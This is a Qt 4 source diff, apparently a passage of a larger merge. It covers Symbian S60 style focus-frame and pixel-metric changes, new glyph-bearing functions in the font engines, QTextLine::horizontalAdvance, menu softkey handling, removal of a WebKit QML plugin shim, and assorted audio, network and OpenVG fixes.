#ifdef QT_KEYPAD_NAVIGATION bool editFocus = false; if (const QFocusFrame *focusFrame = qobject_cast<const QFocusFrame*>(widget)) { if (focusFrame->widget() && focusFrame->widget()->hasEditFocus()) editFocus = true; } - const qreal opacity = editFocus ? 0.65 : 0.45; // Trial and error factors. Feel free to improve. + const qreal opacity = editFocus ? 1 : 0.75; // Trial and error factors. Feel free to improve. #else - const qreal opacity = 0.5; + const qreal opacity = 0.85; #endif - // Because of Qts coordinate system, we need to tweak the rect by .5 pixels, otherwise it gets blurred. - const qreal rectAdjustment = (penWidth % 2) ? -.5 : 0; - - // Make sure that the pen stroke is inside the rect - const QRectF adjustedRect = - QRectF(option->rect).adjusted( - rectAdjustment + penWidth, - rectAdjustment + penWidth, - -rectAdjustment - penWidth, - -rectAdjustment - penWidth - ); - - const qreal roundRectRadius = penWidth * goldenRatio; + // We need to reduce the focus frame size if LayoutSpacing is smaller than FocusFrameMargin + // Otherwise, we would overlay adjacent widgets. + const int frameHeightReduction = + qMin(0, pixelMetric(QStyle::PM_LayoutVerticalSpacing) + - pixelMetric(QStyle::PM_FocusFrameVMargin)); + const int frameWidthReduction = + qMin(0, pixelMetric(QStyle::PM_LayoutHorizontalSpacing) + - pixelMetric(QStyle::PM_FocusFrameHMargin)); + const int rounding = + qMin(pixelMetric(QStyle::PM_FocusFrameVMargin), + pixelMetric(QStyle::PM_LayoutVerticalSpacing)); + const QRect frameRect = + option->rect.adjusted(-frameWidthReduction, -frameHeightReduction, + frameWidthReduction, frameHeightReduction); + QPainterPath framePath; + framePath.addRoundedRect(frameRect, rounding, rounding); painter->save(); painter->setRenderHint(QPainter::Antialiasing); painter->setOpacity(opacity); - painter->setPen(QPen(option->palette.color(QPalette::Text), penWidth)); - painter->drawRoundedRect(adjustedRect, roundRectRadius, roundRectRadius); + painter->fillPath(framePath, option->palette.color(QPalette::Text)); painter->restore(); } break; @@ -2080,7 +2082,7 @@ void QS60Style::drawPrimitive(PrimitiveElement element, const QStyleOption *opti // ... or normal "tick" selection at the end. } else if (option->state & State_Selected) { QRect tickRect = option->rect; - const int frameBorderWidth = QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth); + const int frameBorderWidth = QS60StylePrivate::pixelMetric(PM_FrameCornerWidth); // adjust tickmark rect to exclude frame border tickRect.adjust(0, -frameBorderWidth, 0, -frameBorderWidth); QS60StyleEnums::SkinParts skinPart = QS60StyleEnums::SP_QgnIndiMarkedAdd; @@ -2161,7 +2163,7 @@ void QS60Style::drawPrimitive(PrimitiveElement element, const QStyleOption *opti const QS60StyleEnums::SkinParts part = (element == PE_IndicatorSpinUp) ? QS60StyleEnums::SP_QgnGrafScrollArrowUp : QS60StyleEnums::SP_QgnGrafScrollArrowDown; - const int iconMargin = QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth) >> 1; + const int iconMargin = QS60StylePrivate::pixelMetric(PM_FrameCornerWidth) >> 1; optionSpinBox.rect.translate(0, (element == PE_IndicatorSpinDown) ? iconMargin : -iconMargin ); QS60StylePrivate::drawSkinPart(part, painter, optionSpinBox.rect, flags); } else { @@ -2175,7 +2177,7 @@ void QS60Style::drawPrimitive(PrimitiveElement element, const QStyleOption *opti // We want to draw down arrow here for comboboxes as well. QStyleOptionFrame optionsComboBox = *cmb; const QS60StyleEnums::SkinParts part = QS60StyleEnums::SP_QgnGrafScrollArrowDown; - const int iconMargin = QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth) >> 1; + const int iconMargin = QS60StylePrivate::pixelMetric(PM_FrameCornerWidth) >> 1; optionsComboBox.rect.translate(0, (element == PE_IndicatorSpinDown) ? iconMargin : -iconMargin ); QS60StylePrivate::drawSkinPart(part, painter, optionsComboBox.rect, flags); } else { @@ -2309,7 +2311,7 @@ void QS60Style::drawPrimitive(PrimitiveElement element, const QStyleOption *opti (option->state & State_Open) ? QS60StyleEnums::SP_QgnIndiHlColSuper : QS60StyleEnums::SP_QgnIndiHlExpSuper; int minDimension = qMin(option->rect.width(), option->rect.height()); QRect iconRect(option->rect.topLeft(), QSize(minDimension, minDimension)); - const int magicTweak = 3; + const int magicTweak = 3; int resizeValue = minDimension >> 1; if (!QS60StylePrivate::isTouchSupported()) { minDimension += resizeValue; // Adjust the icon bigger because of empty space in svg icon. @@ -2454,9 +2456,9 @@ QSize QS60Style::sizeFromContents(ContentsType ct, const QStyleOption *opt, #ifndef QT_NO_COMBOBOX case CT_ComboBox: { // Fixing Ui design issues with too wide QComboBoxes and greedy SizeHints - // Make sure, that the combobox says within the screen. + // Make sure, that the combobox stays within the screen. const QSize desktopContentSize = QApplication::desktop()->availableGeometry().size() - -QSize(pixelMetric(PM_LayoutLeftMargin) + pixelMetric(PM_LayoutRightMargin), 0); + - QSize(pixelMetric(PM_LayoutLeftMargin) + pixelMetric(PM_LayoutRightMargin), 0); sz = QCommonStyle::sizeFromContents(ct, opt, csz, widget). boundedTo(desktopContentSize); } @@ -2929,9 +2931,9 @@ QRect QS60Style::subElementRect(SubElement element, const QStyleOption *opt, con if (qstyleoption_cast<const QStyleOptionHeader *>(opt)) { // Subtract area needed for line if (opt->state & State_Horizontal) - ret.setHeight(ret.height() - QS60StylePrivate::pixelMetric(PM_Custom_BoldLineWidth)); + ret.setHeight(ret.height() - QS60StylePrivate::pixelMetric(PM_BoldLineWidth)); else - ret.setWidth(ret.width() - QS60StylePrivate::pixelMetric(PM_Custom_ThinLineWidth)); + ret.setWidth(ret.width() - QS60StylePrivate::pixelMetric(PM_ThinLineWidth)); } ret = visualRect(opt->direction, opt->rect, ret); break; @@ -3242,7 +3244,7 @@ bool QS60Style::eventFilter(QObject *object, QEvent *event) /*! \internal - Handle the timer \a event. + Handle the timer \a event. */ void QS60Style::timerEvent(QTimerEvent *event) { diff --git a/src/gui/styles/qs60style.h b/src/gui/styles/qs60style.h index 82cc21c..af17843 100644 --- a/src/gui/styles/qs60style.h +++ b/src/gui/styles/qs60style.h @@ -52,6 +52,15 @@ QT_MODULE(Gui) #if !defined(QT_NO_STYLE_S60) +//Public custom pixel metrics values. +//These can be used to fetch custom pixel metric value from outside QS60Style. +enum { + PM_FrameCornerWidth = QStyle::PM_CustomBase + 1, + PM_FrameCornerHeight, + PM_BoldLineWidth, + PM_ThinLineWidth + }; + class QS60StylePrivate; class Q_GUI_EXPORT QS60Style : public QCommonStyle diff --git a/src/gui/styles/qs60style_p.h b/src/gui/styles/qs60style_p.h index 16d82e7..8bb2f7b 100644 --- a/src/gui/styles/qs60style_p.h +++ b/src/gui/styles/qs60style_p.h @@ -61,12 +61,7 @@ QT_BEGIN_NAMESPACE const int MAX_NON_CUSTOM_PIXELMETRICS = 92; const int CUSTOMVALUESCOUNT = 4; -enum { - PM_Custom_FrameCornerWidth = MAX_NON_CUSTOM_PIXELMETRICS, - PM_Custom_FrameCornerHeight, - PM_Custom_BoldLineWidth, - PM_Custom_ThinLineWidth - }; + const int MAX_PIXELMETRICS = MAX_NON_CUSTOM_PIXELMETRICS + CUSTOMVALUESCOUNT; typedef struct { @@ -425,7 +420,7 @@ public: SE_ToolBarButton, SE_ToolBarButtonPressed, SE_PanelBackground, - SE_ScrollBarHandlePressedHorizontal, //only for 5.0+ + SE_ScrollBarHandlePressedHorizontal, SE_ScrollBarHandlePressedVertical, SE_ButtonInactive, SE_Editor, diff --git a/src/gui/styles/qs60style_s60.cpp b/src/gui/styles/qs60style_s60.cpp index 6138e85..2ea0ccd 100644 --- a/src/gui/styles/qs60style_s60.cpp +++ b/src/gui/styles/qs60style_s60.cpp @@ -63,7 +63,7 @@ #include <AknUtils.h> #include <aknnavi.h> #include <gulicon.h> -#include <AknBitmapAnimation.h> +#include <aknbitmapanimation.h> #if !defined(QT_NO_STYLE_S60) || defined(QT_PLUGIN) @@ -755,7 +755,7 @@ QPixmap QS60StyleModeSpecifics::createSkinnedGraphicsLX( if (drawn) result = fromFbsBitmap(background, NULL, flags, targetSize); - // if drawing fails in skin server, just ignore the background (probably OOM occured) + // if drawing fails in skin server, just ignore the background (probably OOM case) CleanupStack::PopAndDestroy(4, background); //background, dev, gc, bgContext // QS60WindowSurface::lockBitmapHeap(); @@ -787,7 +787,7 @@ QPixmap QS60StyleModeSpecifics::createSkinnedGraphicsLX( const int currentFrame = QS60StylePrivate::currentAnimationFrame(part); if (constructedFromTheme && aknAnimation && aknAnimation->BitmapAnimData()->FrameArray().Count() > 0) { - //Animation was created succesfully and contains frames, just fetch current frame + //Animation was created successfully and contains frames, just fetch current frame if(currentFrame >= aknAnimation->BitmapAnimData()->FrameArray().Count()) User::Leave(KErrOverflow); const CBitmapFrameData* frameData = aknAnimation->BitmapAnimData()->FrameArray().At(currentFrame); @@ -978,8 +978,8 @@ void QS60StyleModeSpecifics::frameIdAndCenterId(QS60StylePrivate::SkinFrameEleme TRect QS60StyleModeSpecifics::innerRectFromElement(QS60StylePrivate::SkinFrameElements frameElement, const TRect &outerRect) { - TInt widthShrink = QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerWidth); - TInt heightShrink = QS60StylePrivate::pixelMetric(PM_Custom_FrameCornerHeight); + TInt widthShrink = QS60StylePrivate::pixelMetric(PM_FrameCornerWidth); + TInt heightShrink = QS60StylePrivate::pixelMetric(PM_FrameCornerHeight); switch(frameElement) { case QS60StylePrivate::SF_PanelBackground: // panel should have slightly slimmer border to enable thin line of background graphics between closest component @@ -1096,7 +1096,7 @@ void QS60StylePrivate::setActiveLayout() activeLayoutIndex += (!landscape) ? 1 : 0; } - m_pmPointer = data[activeLayoutIndex]; + setCurrentLayout(activeLayoutIndex); } Q_GLOBAL_STATIC(QList<QS60StyleAnimation *>, m_animations) diff --git a/src/gui/text/qfontengine.cpp b/src/gui/text/qfontengine.cpp index e5975d2..194c5f3 100644 --- a/src/gui/text/qfontengine.cpp +++ b/src/gui/text/qfontengine.cpp @@ -379,6 +379,15 @@ void QFontEngine::getGlyphPositions(const QGlyphLayout &glyphs, const QTransform Q_ASSERT(positions.size() == glyphs_out.size()); } +void QFontEngine::getGlyphBearings(glyph_t glyph, qreal *leftBearing, qreal *rightBearing) +{ + glyph_metrics_t gi = boundingBox(glyph); + bool isValid = gi.isValid(); + if (leftBearing != 0) + *leftBearing = isValid ? gi.x.toReal() : 0.0; + if (rightBearing != 0) + *rightBearing = isValid ? (gi.xoff - gi.x - gi.width).toReal() : 0.0; +} glyph_metrics_t QFontEngine::tightBoundingBox(const QGlyphLayout &glyphs) { @@ -1389,6 +1398,12 @@ glyph_metrics_t QFontEngineMulti::boundingBox(const QGlyphLayout &glyphs) return overall; } +void QFontEngineMulti::getGlyphBearings(glyph_t glyph, qreal *leftBearing, qreal *rightBearing) +{ + int which = highByte(glyph); + engine(which)->getGlyphBearings(stripped(glyph), leftBearing, rightBearing); +} + void QFontEngineMulti::addOutlineToPath(qreal x, qreal y, const QGlyphLayout &glyphs, QPainterPath *path, QTextItem::RenderFlags flags) { diff --git a/src/gui/text/qfontengine_p.h b/src/gui/text/qfontengine_p.h index 71ab5a5..e645caf 100644 --- a/src/gui/text/qfontengine_p.h +++ b/src/gui/text/qfontengine_p.h @@ -206,6 +206,8 @@ public: virtual qreal minLeftBearing() const { return qreal(); } virtual qreal minRightBearing() const { return qreal(); } + virtual void getGlyphBearings(glyph_t glyph, qreal *leftBearing = 0, qreal *rightBearing = 0); + virtual const char *name() const = 0; virtual bool canRender(const QChar *string, int len) = 0; @@ -374,6 +376,7 @@ public: virtual void recalcAdvances(QGlyphLayout *, QTextEngine::ShaperFlags) const; virtual void doKerning(QGlyphLayout *, QTextEngine::ShaperFlags) const; virtual void addOutlineToPath(qreal, qreal, const QGlyphLayout &, QPainterPath *, QTextItem::RenderFlags flags); + virtual void getGlyphBearings(glyph_t glyph, qreal *leftBearing = 0, qreal *rightBearing = 0); virtual QFixed ascent() const; virtual QFixed descent() const; diff --git a/src/gui/text/qfontengine_win.cpp b/src/gui/text/qfontengine_win.cpp index 55e93bd..3e79d79 100644 --- a/src/gui/text/qfontengine_win.cpp +++ b/src/gui/text/qfontengine_win.cpp @@ -649,6 +649,30 @@ static const ushort char_table[] = { static const int char_table_entries = sizeof(char_table)/sizeof(ushort); +void QFontEngineWin::getGlyphBearings(glyph_t glyph, qreal *leftBearing, qreal *rightBearing) +{ + HDC hdc = shared_dc(); + SelectObject(hdc, hfont); + +#ifndef Q_WS_WINCE + if (ttf) +#endif + + { + ABC abcWidths; + GetCharABCWidthsI(hdc, glyph, 1, 0, &abcWidths); + if (leftBearing) + *leftBearing = abcWidths.abcA; + if (rightBearing) + *rightBearing = abcWidths.abcC; + } + +#ifndef Q_WS_WINCE + else { + QFontEngine::getGlyphBearings(glyph, leftBearing, rightBearing); + } +#endif +} qreal QFontEngineWin::minLeftBearing() const { diff --git a/src/gui/text/qfontengine_win_p.h b/src/gui/text/qfontengine_win_p.h index f9d8f8b..f19e48e 100644 --- a/src/gui/text/qfontengine_win_p.h +++ b/src/gui/text/qfontengine_win_p.h @@ -106,6 +106,8 @@ public: virtual QImage alphaMapForGlyph(glyph_t, const QTransform &xform); virtual QImage alphaRGBMapForGlyph(glyph_t t, int margin, const QTransform &xform); + virtual void getGlyphBearings(glyph_t glyph, qreal *leftBearing = 0, qreal *rightBearing = 0); + int getGlyphIndexes(const QChar *ch, int numChars, QGlyphLayout *glyphs, bool mirrored) const; void getCMap(); diff --git a/src/gui/text/qfontmetrics.cpp b/src/gui/text/qfontmetrics.cpp index 13a5704..9349f46 100644 --- a/src/gui/text/qfontmetrics.cpp +++ b/src/gui/text/qfontmetrics.cpp @@ -472,8 +472,9 @@ int QFontMetrics::leftBearing(QChar ch) const int nglyphs = 9; engine->stringToCMap(&ch, 1, &glyphs, &nglyphs, 0); // ### can nglyphs != 1 happen at all? Not currently I think - glyph_metrics_t gi = engine->boundingBox(glyphs.glyphs[0]); - return qRound(gi.x); + qreal lb; + engine->getGlyphBearings(glyphs.glyphs[0], &lb); + return qRound(lb); } /*! @@ -506,8 +507,9 @@ int QFontMetrics::rightBearing(QChar ch) const int nglyphs = 9; engine->stringToCMap(&ch, 1, &glyphs, &nglyphs, 0); // ### can nglyphs != 1 happen at all? Not currently I think - glyph_metrics_t gi = engine->boundingBox(glyphs.glyphs[0]); - return qRound(gi.xoff - gi.x - gi.width); + qreal rb; + engine->getGlyphBearings(glyphs.glyphs[0], 0, &rb); + return qRound(rb); } /*! @@ -1317,8 +1319,9 @@ qreal QFontMetricsF::leftBearing(QChar ch) const int nglyphs = 9; engine->stringToCMap(&ch, 1, &glyphs, &nglyphs, 0); // ### can nglyphs != 1 happen at all? Not currently I think - glyph_metrics_t gi = engine->boundingBox(glyphs.glyphs[0]); - return gi.x.toReal(); + qreal lb; + engine->getGlyphBearings(glyphs.glyphs[0], &lb); + return lb; } /*! @@ -1351,8 +1354,10 @@ qreal QFontMetricsF::rightBearing(QChar ch) const int nglyphs = 9; engine->stringToCMap(&ch, 1, &glyphs, &nglyphs, 0); // ### can nglyphs != 1 happen at all? Not currently I think - glyph_metrics_t gi = engine->boundingBox(glyphs.glyphs[0]); - return (gi.xoff - gi.x - gi.width).toReal(); + qreal rb; + engine->getGlyphBearings(glyphs.glyphs[0], 0, &rb); + return rb; + } /*! diff --git a/src/gui/text/qtextengine.cpp b/src/gui/text/qtextengine.cpp index b826588..8dded4e 100644 --- a/src/gui/text/qtextengine.cpp +++ b/src/gui/text/qtextengine.cpp @@ -1124,14 +1124,13 @@ void QTextEngine::shapeTextWithHarfbuzz(int item) const bool kerningEnabled = this->font(si).d->kerning; HB_ShaperItem entire_shaper_item; - entire_shaper_item.kerning_applied = false; + qMemSet(&entire_shaper_item, 0, sizeof(entire_shaper_item)); entire_shaper_item.string = reinterpret_cast<const HB_UChar16 *>(layoutData->string.constData()); entire_shaper_item.stringLength = layoutData->string.length(); entire_shaper_item.item.script = (HB_Script)si.analysis.script; entire_shaper_item.item.pos = si.position; entire_shaper_item.item.length = length(item); entire_shaper_item.item.bidiLevel = si.analysis.bidiLevel; - entire_shaper_item.glyphIndicesPresent = false; HB_UChar16 upperCased[256]; // XXX what about making this 4096, so we don't have to extend it ever. if (si.analysis.flags == QScriptAnalysis::SmallCaps || si.analysis.flags == QScriptAnalysis::Uppercase @@ -2467,7 +2466,7 @@ void QTextEngine::splitItem(int item, int pos) const if (pos <= 0) return; - layoutData->items.insert(item + 1, QScriptItem(layoutData->items[item])); + layoutData->items.insert(item + 1, layoutData->items[item]); QScriptItem &oldItem = layoutData->items[item]; QScriptItem &newItem = layoutData->items[item+1]; newItem.position += pos; diff --git a/src/gui/text/qtextlayout.cpp b/src/gui/text/qtextlayout.cpp index 766053c..312d135 100644 --- a/src/gui/text/qtextlayout.cpp +++ b/src/gui/text/qtextlayout.cpp @@ -1570,6 +1570,20 @@ qreal QTextLine::naturalTextWidth() const return eng->lines[i].textWidth.toReal(); } +/*! \since 4.7 + Returns the horizontal advance of the text. The advance of the text + is the distance from its position to the next position at which + text would naturally be drawn. + + By adding the advance to the position of the text line and using this + as the position of a second text line, you will be able to position + the two lines side-by-side without gaps in-between. +*/ +qreal QTextLine::horizontalAdvance() const +{ + return eng->lines[i].textAdvance.toReal(); +} + /*! Lays out the line with the given \a width. The line is filled from its starting position with as many characters as will fit into @@ -1688,9 +1702,9 @@ namespace { if (currentPosition <= 0) return; - glyph_metrics_t gi = fontEngine->boundingBox(currentGlyph()); - if (gi.isValid()) - rightBearing = qMin(QFixed(), gi.xoff - gi.x - gi.width); + qreal rb; + fontEngine->getGlyphBearings(currentGlyph(), 0, &rb); + rightBearing = qMin(QFixed(), QFixed::fromReal(rb)); } inline void resetRightBearing() diff --git a/src/gui/text/qtextlayout.h b/src/gui/text/qtextlayout.h index edae7de..8c93ed6 100644 --- a/src/gui/text/qtextlayout.h +++ b/src/gui/text/qtextlayout.h @@ -202,6 +202,7 @@ public: bool leadingIncluded() const; qreal naturalTextWidth() const; + qreal horizontalAdvance() const; QRectF naturalTextRect() const; enum Edge { diff --git a/src/gui/widgets/qmenu.cpp b/src/gui/widgets/qmenu.cpp index ebc05d9..404d46e 100644 --- a/src/gui/widgets/qmenu.cpp +++ b/src/gui/widgets/qmenu.cpp @@ -167,8 +167,8 @@ void QMenuPrivate::init() #ifdef QT_SOFTKEYS_ENABLED selectAction = QSoftKeyManager::createKeyedAction(QSoftKeyManager::SelectSoftKey, Qt::Key_Select, q); cancelAction = QSoftKeyManager::createKeyedAction(QSoftKeyManager::CancelSoftKey, Qt::Key_Back, q); - selectAction->setVisible(false); // Don't show these in the menu - cancelAction->setVisible(false); + selectAction->setPriority(QAction::HighPriority); + cancelAction->setPriority(QAction::HighPriority); q->addAction(selectAction); q->addAction(cancelAction); #endif diff --git a/src/gui/widgets/qmenubar.cpp b/src/gui/widgets/qmenubar.cpp index 13aa02b..e368d3d 100644 --- a/src/gui/widgets/qmenubar.cpp +++ b/src/gui/widgets/qmenubar.cpp @@ -1404,7 +1404,6 @@ void QMenuBarPrivate::handleReparent() if (!menuBarAction) { if (newParent) { menuBarAction = QSoftKeyManager::createAction(QSoftKeyManager::MenuSoftKey, newParent); - menuBarAction->setVisible(false); newParent->addAction(menuBarAction); } } else { diff --git a/src/gui/widgets/qspinbox.cpp b/src/gui/widgets/qspinbox.cpp index 726426d..2d871d0 100644 --- a/src/gui/widgets/qspinbox.cpp +++ b/src/gui/widgets/qspinbox.cpp @@ -448,11 +448,12 @@ void QSpinBox::setRange(int minimum, int maximum) } /*! - This virtual function is used by the spin box whenever it needs - to display the given \a value. The default implementation returns - a string containing \a value printed in the standard way using - QWidget::locale().toString(). Reimplementations may return anything. (See - the example in the detailed description.) + This virtual function is used by the spin box whenever it needs to + display the given \a value. The default implementation returns a + string containing \a value printed in the standard way using + QWidget::locale().toString(), but with the thousand separator + removed. Reimplementations may return anything. (See the example + in the detailed description.) Note: QSpinBox does not call this function for specialValueText() and that neither prefix() nor suffix() should be included in the @@ -461,7 +462,7 @@ void QSpinBox::setRange(int minimum, int maximum) If you reimplement this, you may also need to reimplement valueFromText() and validate() - \sa valueFromText(), validate() + \sa valueFromText(), validate(), QLocale::groupSeparator() */ QString QSpinBox::textFromValue(int value) const @@ -869,7 +870,7 @@ void QDoubleSpinBox::setDecimals(int decimals) If you reimplement this, you may also need to reimplement valueFromText(). - \sa valueFromText() + \sa valueFromText(), QLocale::groupSeparator() */ diff --git a/src/imports/webkit/qdeclarativewebview.cpp b/src/imports/webkit/qdeclarativewebview.cpp index f8b2b88..0b85ae4 100644 --- a/src/imports/webkit/qdeclarativewebview.cpp +++ b/src/imports/webkit/qdeclarativewebview.cpp @@ -1239,96 +1239,11 @@ bool QDeclarativeWebPage::javaScriptPrompt(QWebFrame *originatingFrame, const QS } -/* - Qt WebKit does not understand non-QWidget plugins, so dummy widgets - are created, parented to a single dummy tool window. - - The requirements for QML object plugins are input to the Qt WebKit - non-QWidget plugin support, which will obsolete this kludge. -*/ -class QWidget_Dummy_Plugin : public QWidget -{ - Q_OBJECT -public: - static QWidget *dummy_shared_parent() - { - static QWidget *dsp = 0; - if (!dsp) { - dsp = new QWidget(0,Qt::Tool); - dsp->setGeometry(-10000,-10000,0,0); - dsp->show(); - } - return dsp; - } - QWidget_Dummy_Plugin(const QUrl& url, QDeclarativeWebView *view, const QStringList ¶mNames, const QStringList ¶mValues) : - QWidget(dummy_shared_parent()), - propertyNames(paramNames), - propertyValues(paramValues), - webview(view) - { - QDeclarativeEngine *engine = qmlEngine(webview); - component = new QDeclarativeComponent(engine, url, this); - item = 0; - if (component->isLoading()) - connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), this, SLOT(qmlLoaded())); - else - qmlLoaded(); - } - -public Q_SLOTS: - void qmlLoaded() - { - if (component->isError()) { - // ### Could instead give these errors to the WebView to handle. - qWarning() << component->errors(); - return; - } - item = qobject_cast<QDeclarativeItem*>(component->create(qmlContext(webview))); - item->setParent(webview); - QString jsObjName; - for (int i=0; i<propertyNames.count(); ++i) { - if (propertyNames[i] != QLatin1String("type") && propertyNames[i] != QLatin1String("data")) { - item->setProperty(propertyNames[i].toUtf8(),propertyValues[i]); - if (propertyNames[i] == QLatin1String("objectname")) - jsObjName = propertyValues[i]; - } - } - if (!jsObjName.isNull()) { - QWebFrame *f = webview->page()->mainFrame(); - f->addToJavaScriptWindowObject(jsObjName, item); - } - resizeEvent(0); - delete component; - component = 0; - } - void resizeEvent(QResizeEvent*) - { - if (item) { - item->setX(x()); - item->setY(y()); - item->setWidth(width()); - item->setHeight(height()); - } - } - -private: - QDeclarativeComponent *component; - QDeclarativeItem *item; - QStringList propertyNames, propertyValues; - QDeclarativeWebView *webview; -}; - QDeclarativeWebView *QDeclarativeWebPage::viewItem() { return static_cast<QDeclarativeWebView*>(parent()); } -QObject *QDeclarativeWebPage::createPlugin(const QString &, const QUrl &url, const QStringList ¶mNames, const QStringList ¶mValues) -{ - QUrl comp = qmlContext(viewItem())->resolvedUrl(url); - return new QWidget_Dummy_Plugin(comp,viewItem(),paramNames,paramValues); -} - QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type) { QDeclarativeWebView *newView = viewItem()->createWindow(type); @@ -1338,5 +1253,3 @@ QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type) } QT_END_NAMESPACE - -#include <qdeclarativewebview.moc> diff --git a/src/imports/webkit/qdeclarativewebview_p.h b/src/imports/webkit/qdeclarativewebview_p.h index 36b18a6..81581d8 100644 --- a/src/imports/webkit/qdeclarativewebview_p.h +++ b/src/imports/webkit/qdeclarativewebview_p.h @@ -69,7 +69,6 @@ public: explicit QDeclarativeWebPage(QDeclarativeWebView *parent); ~QDeclarativeWebPage(); protected: - QObject *createPlugin(const QString &classid, const QUrl &url, const QStringList ¶mNames, const QStringList ¶mValues); QWebPage *createWindow(WebWindowType type); void javaScriptConsoleMessage(const QString& message, int lineNumber, const QString& sourceID); QString chooseFile(QWebFrame *originatingFrame, const QString& oldFile); diff --git a/src/multimedia/audio/qaudioinput_mac_p.cpp b/src/multimedia/audio/qaudioinput_mac_p.cpp index 4b37b18..cb65f6e 100644 --- a/src/multimedia/audio/qaudioinput_mac_p.cpp +++ b/src/multimedia/audio/qaudioinput_mac_p.cpp @@ -670,8 +670,8 @@ bool QAudioInputPrivate::open() } // Allocate buffer - periodSizeBytes = (numberOfFrames * streamFormat.mSampleRate / deviceFormat.mSampleRate) * - streamFormat.mBytesPerFrame; + periodSizeBytes = numberOfFrames * streamFormat.mBytesPerFrame; + if (internalBufferSize < periodSizeBytes * 2) internalBufferSize = periodSizeBytes * 2; else diff --git a/src/multimedia/audio/qaudiooutput_symbian_p.cpp b/src/multimedia/audio/qaudiooutput_symbian_p.cpp index 945a08d..3f8e933 100644 --- a/src/multimedia/audio/qaudiooutput_symbian_p.cpp +++ b/src/multimedia/audio/qaudiooutput_symbian_p.cpp @@ -185,10 +185,11 @@ void QAudioOutputPrivate::suspend() const qint64 samplesWritten = SymbianAudio::Utils::bytesToSamples( m_format, m_bytesWritten); - m_bytesWritten = 0; const qint64 samplesPlayed = getSamplesPlayed(); + m_bytesWritten = 0; + // CMMFDevSound::Pause() is not guaranteed to work correctly in all // implementations, for play-mode DevSound sessions. We therefore // have to implement suspend() by calling CMMFDevSound::Stop(). diff --git a/src/multimedia/video/qabstractvideobuffer.cpp b/src/multimedia/video/qabstractvideobuffer.cpp index 465a1e7..e9d30d0 100644 --- a/src/multimedia/video/qabstractvideobuffer.cpp +++ b/src/multimedia/video/qabstractvideobuffer.cpp @@ -71,6 +71,8 @@ QT_BEGIN_NAMESPACE \value NoHandle The buffer has no handle, its data can only be accessed by mapping the buffer. \value GLTextureHandle The handle of the buffer is an OpenGL texture ID. + \value XvShmImageHandle The handle contains pointer to shared memory XVideo image. + \value CoreImageHandle The handle contains pointer to Mac OS X CIImage. \value UserHandle Start value for user defined handle types. \sa handleType() diff --git a/src/multimedia/video/qabstractvideobuffer.h b/src/multimedia/video/qabstractvideobuffer.h index 4ffa46f..a8389db 100644 --- a/src/multimedia/video/qabstractvideobuffer.h +++ b/src/multimedia/video/qabstractvideobuffer.h @@ -61,6 +61,8 @@ public: { NoHandle, GLTextureHandle, + XvShmImageHandle, + CoreImageHandle, UserHandle = 1000 }; diff --git a/src/network/access/qhttpnetworkconnectionchannel.cpp b/src/network/access/qhttpnetworkconnectionchannel.cpp index 1d8224c..82bc14f 100644 --- a/src/network/access/qhttpnetworkconnectionchannel.cpp +++ b/src/network/access/qhttpnetworkconnectionchannel.cpp @@ -865,7 +865,14 @@ void QHttpNetworkConnectionChannel::_q_disconnected() void QHttpNetworkConnectionChannel::_q_connected() { // improve performance since we get the request sent by the kernel ASAP - socket->setSocketOption(QAbstractSocket::LowDelayOption, 1); + //socket->setSocketOption(QAbstractSocket::LowDelayOption, 1); + // We have this commented out now. It did not have the effect we wanted. If we want to + // do this properly, Qt has to combine multiple HTTP requests into one buffer + // and send this to the kernel in one syscall and then the kernel immediately sends + // it as one TCP packet because of TCP_NODELAY. + // However, this code is currently not in Qt, so we rely on the kernel combining + // the requests into one TCP packet. + // not sure yet if it helps, but it makes sense socket->setSocketOption(QAbstractSocket::KeepAliveOption, 1); diff --git a/src/network/kernel/qhostinfo.cpp b/src/network/kernel/qhostinfo.cpp index 3d0c32d..baf69e7 100644 --- a/src/network/kernel/qhostinfo.cpp +++ b/src/network/kernel/qhostinfo.cpp @@ -479,6 +479,7 @@ void QHostInfoRunnable::run() QHostInfoLookupManager::QHostInfoLookupManager() : mutex(QMutex::Recursive), wasDeleted(false) { moveToThread(QCoreApplicationPrivate::mainThread()); + connect(QCoreApplication::instance(), SIGNAL(destroyed()), SLOT(waitForThreadPoolDone()), Qt::DirectConnection); threadPool.setMaxThreadCount(5); // do 5 DNS lookups in parallel } diff --git a/src/network/kernel/qhostinfo_p.h b/src/network/kernel/qhostinfo_p.h index 2b26b07..4fc74e9 100644 --- a/src/network/kernel/qhostinfo_p.h +++ b/src/network/kernel/qhostinfo_p.h @@ -184,6 +184,9 @@ protected: QMutex mutex; bool wasDeleted; + +private slots: + void waitForThreadPoolDone() { threadPool.waitForDone(); } }; #endif diff --git a/src/openvg/qpixmapdata_vg.cpp b/src/openvg/qpixmapdata_vg.cpp index e66d80b..4cdbfdc 100644 --- a/src/openvg/qpixmapdata_vg.cpp +++ b/src/openvg/qpixmapdata_vg.cpp @@ -456,8 +456,8 @@ void QVGPixmapData::cleanup() void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) { -#if defined(QT_SYMBIAN_SUPPORTS_SGIMAGE) && !defined(QT_NO_EGL) if (type == QPixmapData::SgImage && pixmap) { +#if defined(QT_SYMBIAN_SUPPORTS_SGIMAGE) && !defined(QT_NO_EGL) RSgImage *sgImage = reinterpret_cast<RSgImage*>(pixmap); destroyImages(); @@ -528,6 +528,7 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) // release stuff eglDestroyImageKHR(QEgl::display(), eglImage); driver.Close(); +#endif } else if (type == QPixmapData::FbsBitmap) { CFbsBitmap *bitmap = reinterpret_cast<CFbsBitmap*>(pixmap); @@ -573,16 +574,12 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) if(deleteSourceBitmap) delete bitmap; } -#else - Q_UNUSED(pixmap); - Q_UNUSED(type); -#endif } void* QVGPixmapData::toNativeType(NativeType type) { -#if defined(QT_SYMBIAN_SUPPORTS_SGIMAGE) && !defined(QT_NO_EGL) if (type == QPixmapData::SgImage) { +#if defined(QT_SYMBIAN_SUPPORTS_SGIMAGE) && !defined(QT_NO_EGL) toVGImage(); if (!isValid() || vgImage == VG_INVALID_HANDLE) @@ -649,6 +646,7 @@ void* QVGPixmapData::toNativeType(NativeType type) 